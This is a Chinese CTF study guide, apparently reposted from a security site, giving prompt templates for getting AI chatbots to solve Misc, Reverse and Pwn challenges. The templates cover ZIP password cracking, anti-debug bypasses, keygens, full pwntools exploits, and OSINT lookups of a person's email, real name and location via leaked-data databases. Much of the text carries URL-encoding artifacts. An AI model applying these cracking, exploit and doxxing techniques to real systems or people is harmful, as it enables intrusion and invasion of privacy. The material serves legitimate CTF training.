【速通指南】AICTFer一天速成指南

admin 2026-01-08 02:08:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是一篇CTF比赛速成指南,核心阐述如何利用AI在24小时内提升解题能力。文章对比了Claude、DeepSeek等主流AI平台的代码能力与稳定性,并针对Web、Crypto、Reverse、Pwn、Misc五大方向,提供了详细的AI辅助解题策略、万能提问模板及实战案例。此外,指南还涉及AI工具集成、笔记整理与知识库构建等效率提升技巧,并简要介绍了进阶的MCP自动化平台。 综合评分: 90 文章分类: CTF,AI安全,安全培训


模板2:知道题型但不会做
我确定这是一道【图片隐写/流量分析/压缩包】题:

已知信息:
- 【具体文件信息】
- 【已经尝试的方法】
- 【遇到的问题】

请提供:
1. 这类题的常见套路(至少3种)
2. 每种套路对应的工具和命令
3. 如果能写脚本自动化,请给我代码

图片隐写方向提问技巧

基础分析提问
我拿到一张图片(xxx.png),需要分析是否有隐写:

基础信息:
- 格式:PNG/JPG/BMP
- 大小:【文件大小】
- 分辨率:【宽x高】

已执行命令:
1. file xxx.png → 【结果】
2. strings xxx.png → 【有没有可疑字符串】
3. exiftool xxx.png → 【EXIF信息】

请告诉我:
1. 应该用什么工具进一步分析(StegSolve/zsteg/Stegseek等)
2. 每个工具的具体使用命令
3. PNG/JPG常见的隐写方式有哪些
4. 如果需要写脚本提取数据,请提供代码
LSB隐写提问
我怀疑这张图片用了LSB隐写:

图片信息:【格式/大小】
StegSolve打开后发现:
- Red/Green/Blue plane 0 看起来有噪点
- Data Extract显示【描述看到的内容】

请帮我:
1. 写一个Python脚本提取LSB隐藏的数据
2. 如果提取出来是乱码,可能还需要什么操作
3. 给我详细的使用步骤
盲水印提问
题目提示是"盲水印",我有两张图:

- 原图:original.png
- 水印图:watermark.png

已知信息:
- 两张图尺寸相同
- 肉眼看不出差别

请提供:
1. 盲水印的常见算法(频域/空域)
2. 提取盲水印的工具和命令
3. 如果需要写脚本,请用Python+OpenCV实现

音频隐写方向提问技巧

频谱分析提问
我拿到一个音频文件(audio.wav):

基础信息:
- 格式:WAV/MP3
- 时长:【X秒】
- 题目提示:【如果有】

我用Audacity打开后:
- 波形图看起来【正常/异常】
- 频谱图显示【描述看到的内容】

请告诉我:
1. 音频隐写的常见方式有哪些
2. 除了Audacity还能用什么工具
3. 如果频谱图里有图案/文字,如何提取
4. DTMF音调、摩斯电码等怎么识别和解码
DTMF解码提问
这个音频听起来像电话按键音(DTMF):

音频文件:dtmf.wav
我听到的音调大概是:【描述或说听不出来】

请帮我:
1. 推荐DTMF解码工具(在线/离线都可以)
2. 给我Python脚本自动识别DTMF音调
3. 解码出来的数字可能是什么(ASCII/手机按键编码/其他)

压缩包方向提问技巧

伪加密提问
我有一个加密的ZIP文件:

文件名:flag.zip
现象:
- 解压时提示需要密码
- 但是用【7zip/WinRAR】可以看到文件列表

怀疑是伪加密,请告诉我:
1. 如何判断是否为伪加密(看哪个字节)
2. 如何修改文件去掉伪加密
3. 给我一个Python脚本自动修复伪加密
4. 如果不是伪加密,有什么其他可能(明文攻击/CRC碰撞)
压缩包密码爆破提问
一个真正加密的ZIP,需要爆破密码:

已知信息:
- 题目提示:【可能的密码规则,比如"6位纯数字"】
- 尝试过的密码:【123456/password等常见密码】

请提供:
1. 使用fcrackzip的完整命令
2. 如果是Windows,用什么工具(ARCHPR)
3. 自定义字典的生成方法
4. 如果题目给了密码提示,如何生成针对性字典
CRC32碰撞提问
ZIP里有个很小的文件(几个字节),但是加密了:

文件名:flag.txt
CRC32值:【从压缩包属性里看到的,比如 0x12345678】
文件大小:【比如 4 bytes】

我知道这是CRC32碰撞攻击,请:
1. 解释原理(为什么小文件可以碰撞)
2. 给我Python脚本爆破出文件内容
3. 如果文件稍大(比如10 bytes),还能碰撞吗?

流量分析方向提问技巧

Wireshark基础分析
我拿到一个流量包(traffic.pcapng):

用Wireshark打开后发现:
- 总共【X】个数据包
- 主要协议:HTTP/FTP/TCP/USB/其他
- 【描述观察到的异常,比如"有很多HTTP POST请求"】

题目提示:【如果有】

请帮我:
1. 分析这个流量包可能藏了什么信息
2. 给我Wireshark过滤器语法,筛选关键数据
3. 如何导出流量包中的文件(HTTP文件/FTP传输)
4. 如果需要用tshark或Python脚本分析,请给我代码
HTTP流量分析
流量包里有很多HTTP请求,我想提取其中的数据:

观察到的现象:
- POST请求的数据看起来像Base64
- 某些响应包含可疑字符串
- Cookie/User-Agent字段有异常

请告诉我:
1. Wireshark如何追踪HTTP流(Follow HTTP Stream)
2. 如何批量导出所有HTTP对象
3. 写一个Python脚本解析pcap,提取所有POST数据
4. 如果数据经过编码,如何自动识别和解码

image-20260105153138810

USB键盘流量分析
这个流量包是USB协议,我怀疑是键盘流量:

已知信息:
-%20协议类型:USB
-%20Leftover%20Capture%20Data字段有数据
-%20题目提示:【如果有】

请提供:
1.%20USB键盘流量的数据格式(哪个字节代表按键)
2.%20Wireshark过滤器,只显示键盘数据
3.%20Python脚本,将USB数据还原成按键记录
4.%20键盘映射表(HID%20to%20ASCII)
编码转换方向提问技巧 多层编码识别
我遇到一串看不懂的字符串:

【粘贴字符串】

特征:
-%20长度:【X字符】
-%20字符集:【只有数字/包含字母/有特殊符号】
-%20可能的编码:【如果能猜出来就说,不确定就说"不知道"】

请帮我:
1.%20识别这可能是什么编码(Base64/Hex/Binary/摩斯/其他)
2.%20如果是多层编码,给我解码顺序
3.%20提供一个Python脚本,自动尝试常见编码组合
4.%20如果有部分解码出来但还是乱码,可能还需要什么处理
自动化编码识别脚本请求
我经常遇到各种编码转换的题,请帮我写一个万能脚本:

需求:
1.%20输入一个字符串
2.%20自动尝试常见编码(Base64/Base32/Hex/Binary/URL/HTML实体等)
3.%20递归解码(如果解码结果还是编码格式,继续解)
4.%20输出所有可能的解码结果
5.%20如果某个结果包含"flag"关键字,高亮显示

请用Python实现,代码要详细注释
取证方向提问技巧 内存取证提问
我拿到一个内存镜像文件(memory.raw):

文件大小:【X%20GB】
题目提示:【如果有,比如"找到管理员密码"】

我应该:
1.%20用什么工具分析(Volatility%202/3)
2.%20先执行哪些命令确定操作系统版本和Profile
3.%20常见的内存取证命令有哪些(进程/网络连接/密码/文件)
4.%20如何从内存中提取文件
5.%20给我一个完整的Volatility分析流程
磁盘取证/文件恢复
我有一个磁盘镜像或者部分损坏的文件系统:

文件信息:
-%20格式:【.img%20/%20.vmdk%20/%20.raw】
-%20大小:【X%20MB/GB】
-%20题目提示:【比如"文件被删除了"】

请告诉我:
1.%20用什么工具挂载/分析(Autopsy/FTK/Foremost)
2.%20如何恢复已删除的文件
3.%20如果是Linux/Windows镜像,如何提取特定文件
4.%20Foremost/Scalpel这些工具的使用方法
OSINT(开源情报)方向提问技巧 图片溯源提问
题目给了一张照片,需要找出拍摄地点/时间:

图片信息:
-%20EXIF数据:【有/无GPS信息】
-%20可见内容:【建筑/路牌/文字/其他特征】
-%20题目提示:【如果有】

请告诉我:
1.%20如何通过EXIF提取GPS坐标(工具/命令)
2.%20如果没有GPS,如何通过图片特征搜索地点
3.%20推荐的图片反向搜索工具(Google%20Images/TinEye/Yandex)
4.%20如何根据建筑/路牌等特征缩小范围
社交媒体情报收集
题目要求根据某个线索找到特定信息:

已知信息:
-%20用户名/昵称:【xxx】
-%20平台:【Twitter/GitHub/Instagram】
-%20需要找的信息:【邮箱/真实姓名/位置】

请提供:
1.%20该平台的信息收集技巧
2.%20有什么自动化工具(Sherlock/社工库)
3.%20如何找到用户的其他账号(同名搜索)
4.%20注意事项(不要违反平台规则)
Misc方向工具速查(让AI推荐使用) 提问模板:工具推荐
我需要处理【图片/音频/流量包/内存镜像】:

具体需求:【比如"提取图片LSB隐藏的数据"】
操作系统:【Windows/Linux/Mac】
有没有GUI要求:【需要图形界面/命令行都行】

请推荐:
1.%20最适合的工具(名称+简介)
2.%20工具的安装方法(命令/下载链接)
3.%20针对我的需求,具体的使用命令
4.%20如果这个工具搞不定,还有什么备选方案
常用工具分类(快速询问)
请列出CTF%20Misc方向的常用工具,按以下分类:

1.%20图片隐写:
2.%20音频分析:
3.%20流量分析:
4.%20压缩包处理:
5.%20内存取证:
6.%20文件恢复:
7.%20编码转换:
8.%20十六进制编辑器:

每个工具简要说明功能和典型使用场景
Misc快速解题策略 第一步:文件类型识别(1分钟)

问AI的标准流程:

我拿到文件后,按顺序执行了:
1.%20file%20xxx%20→%20【结果】
2.%20binwalk%20xxx%20→%20【结果】
3.%20strings%20xxx%20|%20head%20-50%20→%20【结果】
4.%20exiftool%20xxx%20→%20【结果】

基于这些信息,请分析:
-%20这是什么类型的题目
-%20下一步应该做什么
-%20推荐使用的工具
第二步:套路尝试(5-10分钟)

针对不同文件类型的快速提问:

图片类:

这是一张【PNG/JPG】图片,请列出5种常见的隐写方式,
以及对应的检测/提取命令,我要快速试一遍

音频类:

这是音频文件,请给我一个快速检查清单:
-%20Audacity频谱图看什么
-%20是否为DTMF/摩斯电码的判断方法
-%20其他音频隐写可能性
快速给我结论,不要长篇大论

压缩包类:

ZIP文件需要密码,快速判断:
1.%20是否伪加密(给我检查命令)
2.%20如果不是,密码位数大概多少(题目有提示吗)
3.%20爆破命令(fcrackzip/ARCHPR)
4.%20如果爆破太慢,有没有CRC碰撞可能
给我最快的解题路径
第三步:卡住了怎么办(超过10分钟没进展)

换个AI重新问:

我在做Misc题,已经尝试了:
【列出所有尝试过的方法】

但是都没找到flag,可能的原因:
1.%20我的方法不对?
2.%20提取出来的数据需要进一步处理?
3.%20题目有多个步骤,我只做了第一步?

请帮我重新分析,给我新的思路
Misc方向的AI协作技巧 技巧1:让AI生成自动化工具箱
请帮我写一个CTF%20Misc工具集脚本(Python):

功能需求:
1.%20自动识别文件类型
2.%20对不同类型执行对应的基础分析
 %20 -%20图片%20→%20binwalk%20+%20strings%20+%20exiftool
 %20 -%20音频%20→%20提取频谱图
 %20 -%20压缩包%20→%20检查伪加密
 %20 -%20流量包%20→%20统计协议分布
3.%20输出分析报告和建议的下一步操作
4.%20代码要模块化,方便我后续添加新功能

请给我完整可运行的代码
技巧2:让AI当你的工具手册
我在用【StegSolve/Audacity/Wireshark/Volatility】:

当前界面:【描述你看到的界面/选项】
我想实现:【具体目标】
但是不知道:【哪个菜单/哪个命令】

请一步步告诉我操作流程,就像你在我旁边指导一样
技巧3:多轮对话深入挖掘
第一轮:
"我用StegSolve的Data%20Extract提取了数据,
得到一堆二进制【粘贴前100个字节】"

第二轮(基于AI回答):
"你说这可能是PNG文件头,那我怎么把这些二进制
还原成文件?给我Python脚本"

第三轮:
"还原出来的PNG打开显示损坏,会不会是字节序问题?
或者需要修复文件头?"

持续追问直到解决问题
技巧4:建立个人Misc题库
每做完一道Misc题,问AI:

"我刚做了一道【图片隐写LSB】题目,
请帮我总结:
1.%20这类题的特征(如何快速识别)
2.%20通用解题步骤(形成SOP)
3.%20常用工具和命令(做成备忘录)
4.%20容易踩的坑(避坑指南)

用Markdown格式输出,我要保存到笔记里"
Misc方向避坑指南 ❌%20新手常犯的错误

错误1:看到文件就用StegSolve

❌%20盲目使用,大部分时候看不出东西
✅%20先用基础命令判断类型,再针对性选工具
✅%20问AI:"这个文件应该先用什么工具分析?"

错误2:Wireshark打开流量包就懵逼

❌%20看着几千个数据包不知所措
✅%20先问AI:"这个流量包应该看什么协议?用什么过滤器?"
✅%20让AI给你过滤器语法,一步步筛选

错误3:工具报错就放弃

❌%20"命令执行失败,不会做了"
✅%20把报错信息完整复制给AI:"遇到这个错误怎么解决?"
✅%20AI会告诉你缺什么依赖、命令哪里写错了

错误4:提取出数据就以为是flag

❌%20拿到一串字符就提交,结果不对
✅%20问AI:"这串数据看起来像【Base64/Hex】,还需要继续解码吗?"
✅%20Misc题经常有多层处理,要问清楚
✅%20高效技巧

技巧1:构建命令模板库

#%20让AI帮你生成常用命令,保存成脚本

#%20图片分析模板
analyze_image()%20{
 %20 %20file "$1"
 %20 %20binwalk "$1"
 %20 %20strings "$1" |%20grep%20-i%20flag
 %20 %20exiftool "$1"
 %20 %20#%20...让AI补充更多
}

#%20流量包分析模板
analyze_pcap()%20{
 %20 %20tshark%20-r "$1" -q%20-z%20io,phs %20#%20协议统计
 %20 %20tshark%20-r "$1" -Y "http" -T%20fields%20-e%20http.request.uri
 %20 %20#%20...让AI补充
}

技巧2:截图给AI看

遇到图形化工具(StegSolve/Audacity)的问题:
1.%20截图当前界面
2.%20上传给Claude(支持图片)
3.%20问:"我现在在这个界面,想提取隐藏数据,应该点哪里?"

AI能直接看着图指导你

技巧3:让AI生成解题报告模板

我刚做完一道Misc题,请帮我生成WriteUp模板:

题目信息:
-%20名称:【xxx】
-%20类型:【图片隐写/流量分析】
-%20难度:【简单/中等/困难】

解题过程:
【我描述步骤,AI帮我规范化】

请输出成Markdown,包含:
1.%20题目分析
2.%20解题步骤(带命令/代码)
3.%20知识点总结
4.%20使用的AI对话记录
Misc方向总结

新手上手难度: ⭐⭐⭐⭐%20(题型太杂,但单个题不难)

AI帮助程度: ⭐⭐⭐⭐⭐%20(几乎每个环节都能帮上)

学习路径:

第1天:文件类型识别%20+%20基础工具使用
第2天:图片隐写(LSB/EXIF/盲水印)
第3天:流量分析(Wireshark基础)
第4天:压缩包技巧(伪加密/爆破/CRC)
第5天:编码转换大全
第6-7天:内存取证/磁盘取证入门

AI使用建议:

✅%20文件识别%20→%20AI判断类型
✅%20工具选择%20→%20AI推荐最合适的
✅%20命令不会%20→%20AI给语法和示例
✅%20数据处理%20→%20AI写脚本
✅%20卡住了%20→%20AI提供新思路
✅%20工具报错%20→%20AI排查问题

提分技巧:

1.%20前10分钟:快速识别所有Misc题的类型(问AI)
2.%20优先做工具型的题(图片/压缩包),这些AI能直接给命令
3.%20流量分析题留给队里会Wireshark的人,或者让AI生成过滤器
4.%20遇到没见过的题型,立刻问AI,不要自己瞎试浪费时间
5.%20建立自己的工具箱脚本,AI生成一次,以后反复用

小贴士:

  • •%20Misc题往往思路比技术重要,AI帮你开脑洞
  • •%20很多Misc题是”想到就会做”,想不到就卡死
  • •%20善用AI的”见多识广”,它比你见过更多题型
  • •%20binwalk、strings、file%20这三个命令先跑,结果喂给AI分析
  • •%20Misc经常需要多个工具组合,让AI帮你串联起来
  • •%20Misc大多数题目要根据不同类型的文件用不同类型的软件,如果是在断网环境下没安装软件就直接跪了,如果没有安装环境或者来不及安装的,可以在比赛后期其他题目无望的情况下,使用python暴力的用二进制处理数据。
Reverse方向:让AI成为你的反编译助手 为什么Reverse是CTF最难的方向之一?
❌%20需要看懂汇编/反编译代码(门槛高)
❌%20需要理解程序逻辑(脑力消耗大)
❌%20需要识别加密/混淆算法(经验要求高)
❌%20调试过程繁琐(时间成本高)
✅%20但是!AI可以帮你降低70%的难度
Reverse题目的特点与策略
难度评估:⭐⭐⭐⭐⭐%20(5星最难)
耗时评估:单题30分钟%20-%202小时
AI帮助度:⭐⭐⭐⭐⭐%20(Claude的逆向能力极强)

比赛策略:
✅%20前期:先做Crypto/Web/Misc拿基础分
✅%20中期:如果Reverse题目简单(签到级),可以试试
✅%20后期:冲分阶段,用AI辅助攻坚
⚠️%20心态:解出来是惊喜,解不出来当学习,不要死磕
推荐工具链 静态分析工具

|%20工具%20|%20优势%20|%20缺点%20|%20AI配合度%20| |%20—%20|%20—%20|%20—%20|%20—%20| |%20IDA%20Pro%20|%20反编译最强%20|%20商业软件%20|%20⭐⭐⭐⭐%20配合AI看F5代码%20| |%20Ghidra%20|%20免费、支持Python脚本%20|%20反编译稍弱%20|%20⭐⭐⭐⭐⭐%20AI写脚本提取关键信息%20|

动态调试工具
-%20GDB%20+%20pwndbg/gef(Linux)
-%20x64dbg(Windows)
-%20OllyDbg(老牌Windows调试器)
为什么推荐Ghidra?
✅%20完全免费,功能强大
✅%20支持Python脚本(AI可以直接写脚本帮你)
✅%20跨平台(Windows/Linux/macOS)
✅%20反编译质量不错(接近IDA)
✅%20找内存地址、提取字符串等操作可以自动化

使用场景:
-%20批量提取程序中的字符串/地址
-%20自动识别加密算法的特征
-%20快速定位关键函数
万能提问模板:初次接触二进制 模板1:不知道从哪开始(Claude专用)
我在做CTF%20Reverse题,拿到了一个二进制文件:

【方法1:直接上传文件给Claude】
Claude可以接收二进制文件,直接分析!

【方法2:提供基础信息】
文件名:【xxx.exe%20/%20crackme%20/%20flag_checker】
file命令结果:【ELF%2064-bit%20/%20PE32%20executable】
题目提示:【如果有】

我是Reverse新手,请帮我:
1.%20判断这个程序是做什么的(逆向/爆破/算法还原)
2.%20用什么工具分析(IDA/Ghidra/动态调试)
3.%20给我详细的分析思路和步骤
4.%20如果需要写脚本,请提供完整代码

【Claude的杀手锏:直接上传二进制文件】
-%20Claude内置Linux环境,可以直接运行程序
-%20可以用objdump、strings、ltrace等工具分析
-%20可以反编译后给你解释每一行代码
模板2:反编译代码看不懂
我用【IDA/Ghidra】反编译了一个函数,但看不懂:

【粘贴反编译的C代码,或者汇编代码】

程序功能:【如果能猜出来就说,比如"好像是验证密码"】
题目提示:【如果有】

请帮我:
1.%20逐行解释这段代码在做什么
2.%20识别其中的关键逻辑(比较、加密、解密)
3.%20判断是否有已知算法(Base64/AES/RC4/TEA等)
4.%20如果是自定义算法,帮我还原逻辑
5.%20给我逆向求解的脚本(Python)
模板3:算法识别(高级)
反编译代码里有一段加密/哈希算法,我不认识:

【粘贴关键代码段】

特征:
-%20有大量的异或操作
-%20有魔数【比如%200x9E3779B9%20/%200x5A827999】
-%20有移位操作(<<、>>)
-%20循环次数:【如果明显】

请帮我:
1.%20识别这可能是什么算法(TEA/XTEA/RC4/MD5/SHA/自定义)
2.%20如果是已知算法,给我标准实现对照
3.%20如果是魔改的,告诉我哪里被改了
4.%20提供解密脚本(如果是可逆加密)
Reverse方向的AI协作技巧 技巧1:Claude的逆向神技(强烈推荐)

直接上传二进制文件:

步骤:
1.%20在Claude界面点击上传按钮(📎)
2.%20选择你的二进制文件(.exe/.elf/.so/.dll)
3.%20发送消息:"这是一个CTF%20Reverse题目,帮我分析"

Claude会自动:
-%20识别文件类型和架构
-%20提取字符串和关键信息
-%20使用内置Linux环境运行分析工具
-%20反编译关键函数
-%20给你详细的分析报告

示例提问:
"【上传文件%20crackme】
这是一个密码验证程序,帮我:
1.%20找出验证逻辑
2.%20分析加密算法
3.%20给我正确的密码或keygen脚本"

Claude内置工具链:

Claude可以直接使用:
-%20file,%20strings,%20objdump,%20readelf
-%20ltrace,%20strace(动态追踪)
-%20Python脚本分析
-%20甚至可以编译和运行代码验证你的逆向结果

你不需要自己装环境,直接让Claude干活!
技巧2:Ghidra%20+%20AI%20脚本自动化

场景:需要批量提取/分析程序数据

我在用Ghidra分析程序,需要:
-%20提取所有字符串常量
-%20找到所有比较操作的地址
-%20识别所有函数调用关系
-%20提取加密用的魔数/常量表

请给我一个Ghidra%20Python脚本实现上述功能:
1.%20脚本能在Ghidra的Script%20Manager中直接运行
2.%20输出结果保存到文件
3.%20代码要有详细注释

【AI会生成类似这样的脚本】:

AI生成的Ghidra脚本示例:

#%20Ghidra%20Python脚本:提取所有字符串和比较操作
#%20在Ghidra中:Window%20->%20Script%20Manager%20->%20新建脚本粘贴运行

from&nbsp;ghidra.program.model.block&nbsp;import&nbsp;BasicBlockModel
from&nbsp;ghidra.program.model.listing&nbsp;import&nbsp;CodeUnit

#%201.%20提取所有字符串
print("===%20字符串常量%20===")
strings%20=%20currentProgram.getListing().getDefinedData(True)
for&nbsp;data&nbsp;in&nbsp;strings:
&nbsp;%20&nbsp;%20if&nbsp;data.hasStringValue():
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20addr%20=%20data.getAddress()
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20value%20=%20data.getValue()
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"{addr}:&nbsp;{value}")

#%202.%20查找所有CMP指令
print("\n===%20比较指令%20===")
listing%20=%20currentProgram.getListing()
instructions%20=%20listing.getInstructions(True)
for&nbsp;instr&nbsp;in&nbsp;instructions:
&nbsp;%20&nbsp;%20mnemonic%20=%20instr.getMnemonicString()
&nbsp;%20&nbsp;%20if&nbsp;"CMP"&nbsp;in&nbsp;mnemonic&nbsp;or&nbsp;"TEST"&nbsp;in&nbsp;mnemonic:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20addr%20=%20instr.getAddress()
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"{addr}:&nbsp;{instr}")

#%203.%20查找可疑常量(可能是加密魔数)
print("\n===%20可疑魔数%20===")
known_magic%20=%20[0x9E3779B9,&nbsp;0x5A827999,&nbsp;0x67452301]&nbsp;%20#%20TEA,%20SHA-1等的魔数
for&nbsp;instr&nbsp;in&nbsp;listing.getInstructions(True):
&nbsp;%20&nbsp;%20for&nbsp;i&nbsp;in&nbsp;range(instr.getNumOperands()):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20op%20=%20instr.getOpObjects(i)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20for&nbsp;obj&nbsp;in&nbsp;op:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;hasattr(obj,&nbsp;'getValue'):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20val%20=%20obj.getValue()
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20if&nbsp;val&nbsp;in&nbsp;known_magic:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20print(f"{instr.getAddress()}:%20发现魔数&nbsp;{hex(val)}")
技巧3:分步骤逆向(多轮对话)

第一轮:宏观分析

【上传文件或粘贴strings输出】

这个程序的strings输出显示:
-%20"Enter%20password:"
-%20"Correct!"
-%20"Wrong!"
-%20一些看起来像Base64的字符串

请分析:
1.%20程序大概是做什么的
2.%20验证逻辑可能在哪里
3.%20应该重点看哪些函数

第二轮:反编译代码分析

【粘贴main函数或关键函数的反编译代码】

这是main函数的反编译代码,请:
1.%20找出输入验证的位置
2.%20识别调用了哪些加密函数
3.%20判断flag的生成/验证逻辑

第三轮:算法还原

【粘贴加密函数的代码】

这个函数看起来是加密算法,请:
1.%20还原算法逻辑
2.%20判断是否可逆
3.%20如果可逆,写解密脚本
4.%20如果不可逆(哈希),给我爆破策略

第四轮:验证与求解

根据你的分析,我理解的逻辑是:
【用自己的话描述】

请确认我理解是否正确,然后给我最终的求解脚本
技巧4:让AI帮你调试

遇到调试问题:

我在用【GDB/x64dbg/OllyDbg】调试:

当前状态:
-%20断点设置在:【地址/函数名】
-%20寄存器值:【如果相关就粘贴】
-%20栈内容:【如果相关就粘贴】

问题:
-%20【比如"程序在这里崩溃了"/"不知道下一步应该看什么"】

请告诉我:
1.%20可能的原因
2.%20应该检查什么(寄存器/内存/栈)
3.%20GDB/x64dbg的具体命令
常见Reverse题型与AI提问策略 题型1:简单密码验证

特征:

  • •%20输入密码,判断对错
  • •%20main函数里能直接看到比较逻辑

AI提问:

【上传文件或粘贴反编译代码】

这是一个简单的密码验证程序:
【粘贴main函数代码】

请帮我:
1.%20找出正确的密码(如果是明文比较)
2.%20如果密码被编码/加密,还原原始密码
3.%20给我一键求解的脚本
题型2:算法逆向

特征:

  • •%20输入经过复杂变换
  • •%20需要还原算法后编写逆算法

AI提问:

这个程序对输入进行了变换:

【粘贴变换算法的代码】

目标输出(已知):【16进制或字符串】

请帮我:
1.%20理解这个算法的每一步
2.%20判断是否可逆
3.%20写出逆算法求解输入
4.%20如果不可逆,提供爆破策略(范围/字符集)
题型3:VM(虚拟机)题目

特征:

  • •%20自定义指令集
  • •%20需要逆向虚拟机逻辑

AI提问:

这个程序实现了一个虚拟机:

【粘贴VM指令处理的代码】

已知信息:
-%20有【X个】不同的指令(opcode)
-%20有【寄存器/栈/内存】结构

请帮我:
1.%20识别每个opcode的功能(ADD/XOR/PUSH/POP等)
2.%20还原虚拟机的指令集架构
3.%20分析bytecode在做什么
4.%20给我一个VM模拟器(Python实现)
5.%20如果能直接求解flag,给我脚本
题型4:反调试/花指令/混淆

特征:

  • •%20IDA/Ghidra反编译失败或代码很乱
  • •%20存在反调试检测

AI提问:

这个程序有反调试/混淆保护:

观察到的现象:
-%20IDA反编译显示【垃圾代码/无法识别】
-%20动态调试时【检测到调试器/程序行为异常】
-%20有可疑的【ptrace/IsDebuggerPresent/时间检测】

【粘贴关键代码段】

请帮我:
1.%20识别反调试的类型
2.%20给我bypass的方法(patch/修改调试器)
3.%20如果是花指令,如何过滤掉无用代码
4.%20提供去混淆的思路或脚本

image-20260105153500879

image-20260105153524999

Reverse方向的进阶技巧 技巧1:建立算法特征库

让AI帮你总结:

请帮我整理常见加密算法的识别特征:

格式要求:
-%20算法名称
-%20典型魔数/常量
-%20代码特征(循环/操作)
-%20汇编层面的模式

包含算法:
Base64,%20AES,%20DES,%20RC4,%20TEA,%20XTEA,%20MD5,%20SHA-1/256,%20RSA

输出成表格,我要保存备查
技巧2:让AI写Keygen

场景:逆向出验证逻辑,需要生成正确输入

我已经逆向出密码验证的算法:

【粘贴你理解的逻辑,或者伪代码】

已知:
-%20正确的输出(hash/变换结果):【值】
-%20输入范围/格式:【如果有限制】

请帮我写一个Keygen(Key%20Generator):
1.%20如果算法可逆:直接计算正确输入
2.%20如果不可逆:爆破生成符合条件的输入
3.%20如果有多个解:输出所有可能的flag

语言:Python(可读性强,方便我理解)
技巧3:交叉验证AI的分析

多AI协作策略:

步骤1:用Claude分析二进制文件(上传文件)
步骤2:把Claude的分析结果给千问/元宝复核
步骤3:如果两个AI结论不同,用Gemini做第三方判断

提问模板:
"另一个AI分析了这个程序,认为是【XXX算法】
但我觉得有疑问,你帮我再看看:
【粘贴代码或Claude的分析】
你同意这个结论吗?有没有其他可能?"
技巧4:让AI当你的Reverse导师

学习驱动的提问:

我刚做了一道Reverse题,遇到了【TEA加密】:

【粘贴题目代码】

我现在的理解是:
【用自己的话描述算法】

请帮我:
1.%20确认我的理解是否正确
2.%20TEA算法的完整原理是什么?
3.%20为什么它被广泛用在CTF中?
4.%20下次遇到类似代码,如何快速识别?
5.%20TEA的常见变种有哪些?

我想真正学会,而不是只复制代码
Pwn方向:从崩溃到利用的艺术 为什么Pwn是CTF的终极挑战?
❌%20需要理解内存布局(栈/堆/寄存器)
❌%20需要找到漏洞(溢出/UAF/格式化字符串)
❌%20需要绕过保护(NX/PIE/ASLR/Canary)
❌%20需要构造Exploit(精确控制程序流)
❌%20调试过程极其复杂
✅%20但是!AI可以教你原理、帮你写Exploit
Pwn题目的特点与策略
难度评估:⭐⭐⭐⭐⭐%20(最难,没有之一)
耗时评估:单题1小时%20-%204小时(新手可能更久)
AI帮助度:⭐⭐⭐⭐%20(原理讲解强,但需要你有基础)

比赛策略:
❌%20新手前期别碰Pwn,性价比极低
✅%20先把其他方向的简单题做完
✅%20如果队里有Pwn大佬,让他主攻
✅%20比赛末尾有时间,跟着AI学习Pwn思路
⚠️%20心态:Pwn题是学习经验的,不要指望拿分
Pwn必备工具链 调试工具
GDB%20+%20增强插件(必备):
-%20pwndbg:最流行,功能全面
-%20gef:界面友好,适合新手
-%20peda:老牌,功能强大

安装方法:
问AI:"如何在Ubuntu上安装pwndbg?给我完整步骤"
利用工具
pwntools(Python库):
-%20编写Exploit脚本的标准工具
-%20自动化漏洞利用
-%20与远程服务器交互

安装:
pip%20install%20pwntools%20--break-system-packages

学习:
问AI:"pwntools的基础用法,给我一个模板脚本"
辅助工具
-%20checksec:检查二进制保护机制
-%20ROPgadget/ropper:查找ROP%20gadgets
-%20one_gadget:查找libc中的one_gadget
-%20vmmap:查看内存布局
万能提问模板:Pwn入门 模板1:不知道漏洞在哪
我在做Pwn题,拿到一个二进制文件:

【方法1:上传给Claude直接分析】

【方法2:提供信息】
文件名:【pwn1/vuln/chall】
checksec结果:【粘贴checksec输出】
file结果:【ELF%2064-bit/32-bit】

【粘贴源代码或反编译代码】

我是Pwn新手,请帮我:
1.%20分析程序在做什么
2.%20找出可能的漏洞点(栈溢出/堆溢出/格式化字符串/UAF等)
3.%20判断有哪些保护机制(Canary/NX/PIE/RELRO)
4.%20给我利用思路(需要泄露什么/如何绕过保护)
5.%20提供Exploit模板(pwntools)
模板2:知道漏洞但不会利用
我发现了【栈溢出/堆溢出/格式化字符串】漏洞:

漏洞位置:【粘贴有漏洞的代码】

程序保护:
-%20Canary:%20【Enabled/Disabled】
-%20NX:%20【Enabled/Disabled】
-%20PIE:%20【Enabled/Disabled】
-%20RELRO:%20【Full/Partial/No】

checksec完整输出:【粘贴】

已知信息:
-%20有system函数/可以泄露libc
-%20栈空间大小:【如果知道】
-%20输入长度限制:【如果有】

请帮我:
1.%20分析利用难度(哪些保护需要绕过)
2.%20给出详细的利用思路(步骤拆解)
3.%20写完整的Exploit脚本(pwntools,带详细注释)
4.%20如果需要调试,告诉我关键断点设在哪
模板3:调试遇到问题
我在用GDB+pwndbg调试Pwn题:

当前情况:
-%20漏洞类型:【栈溢出/UAF/...】
-%20我的payload:【粘贴你构造的payload】
-%20程序行为:【崩溃/返回异常/没反应】

GDB输出:
【粘贴寄存器状态、栈内容、或崩溃信息】

问题:
-%20【比如"为什么我的ROP链没执行"/"地址怎么算错了"】

请帮我:
1.%20分析为什么exploit失败
2.%20检查payload是否正确
3.%20给我调试的具体命令(GDB)
4.%20修正后的payload
Pwn方向的AI协作技巧 技巧1:让AI当你的Pwn老师

原理学习模板:

我在学习Pwn,请教几个问题:

1.%20【栈溢出/堆溢出/格式化字符串/UAF】的原理是什么?
